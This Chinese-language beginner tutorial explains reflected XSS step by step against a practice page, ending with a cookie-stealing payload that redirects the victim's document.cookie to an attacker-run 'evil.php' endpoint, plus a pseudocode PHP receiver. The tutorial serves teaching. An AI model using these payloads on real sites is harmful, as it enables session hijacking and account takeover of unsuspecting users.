学习网站:http://xsst.sinaapp.com/example/1-1.php
一、Xss全称是cross site scripting,即跨站脚本攻击。
二、用处:作为用来窃取信息的主要攻击方式。
三、Cookies :Cookies一词用在程序设计中是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。从本质上讲,它可以看作是你的身份证。保存的信息片断以"名/值"对(name-value pairs)的形式储存,一个"名/值"对仅仅是一条命名的数据。
四、示例讲解:
输入网址:
http://xsst.sinapp.com/example/1-1.php?page=2
显示结果:
注解:1. “?”后面page=2是参数;
2.URL标准格式:协议://服务器IP [:端口] /路径/ [?查询] 比如Http协议:
HTTP URL
格式:
http://host[:port][abs_path]
其中http表示要通过HTTP协议来定位网络资源。
host表示合法的Internet主机域名或IP地址(以点分十进制格式表示);
port用于指定一个端口号,拥有被请求资源的服务器主机监听该端口的TCP连接。
如果port是空,则使用缺省的端口80。当服务器的端口不是80的时候,需要显式指定端口号。
abs_path指定请求资源的URI(Uniform Resource Identifier,统一资源定位符),如果URL中没有给出abs_path,那么当它作为请求URI时,必须以“/”的形式给出。通常这个工作浏览器就帮我们完成了。
3. “?” 分隔实际的URL和参数 。
4.“‘?’”后面带的是get方式传递的值,如果有多个值,用 & 号分割.
然后把上面网址替换为:
http://xsst.sinapp.com/example/1-1.php?page=<img src="http://www.baidu.com/img/baidu_sylogo1.gif">
显示结果:
进一步我们把网址替换为:
http://xsst.sinapp.com/example/1-1.php?page=<script>alert(1)</script>
显示结果:
更深入一步,我们可以得到页面的cookies数据 page=<script>alert(document.cookie)</script>网址为:
http://xsst.sinapp.com/example/1-1.php?<span style="font-family: arial, 宋体, sans-serif, tahoma, "Microsoft YaHei";">page=<script>alert(document.cookie)</script></span>
显示结果为:
当然这个只是弹出cookies,只是好看而已。(弹窗一点不好看 T T,没妹子好看!) 我们的目标是将得到的cookies发送到另外一个网站。试试下面的 page=<script>location.href='http://你自己的网站/evil.php?cookie='+encodeURIComponent(document.cookie)</script> 或点以下我所提供的链接(IE8,IE9用户,而且没关XSS筛选器的)如果输入以下网址:
http://xsst.sinapp.com/example/1-1.php?page=<script>location.href='http://xsst.sinaapp.com/example/evil.php?cookie='+encodeURIComponent(document.cookie)</script>
输出结果为:
注解:
考虑到一些新手,没有JS基础,附上面这段JS代码的解释: location.href="恶意地址"; //这句话可以让当前页面(location)的地址(href),跳转到恶意地址 document.cookie //就是当前页面的cookies数据 encodeURIComponent(document.cookie) //就是将cookies数据编码一下(防止cookies中有特殊的符号,导致地址错误) location.href="恶意地址"+encodeURIComponent(document.cookie) //就是将编码后的数据加在恶意地址之后 例如: location.href='http://xsst.sinaapp.com/evil.php?cookie='+encodeURIComponent(document.cookie) 运行之后,将会跳转到 http://xsst.sinaapp.com/evil.php?cookie=编码后的COOKIES数据 我们在服务器端,只需要用以下PHP代码,就可以获得cookie数据 <? $cookie=$_GET["cookie"]; 存储($cookie); //此句是伪代码 ?>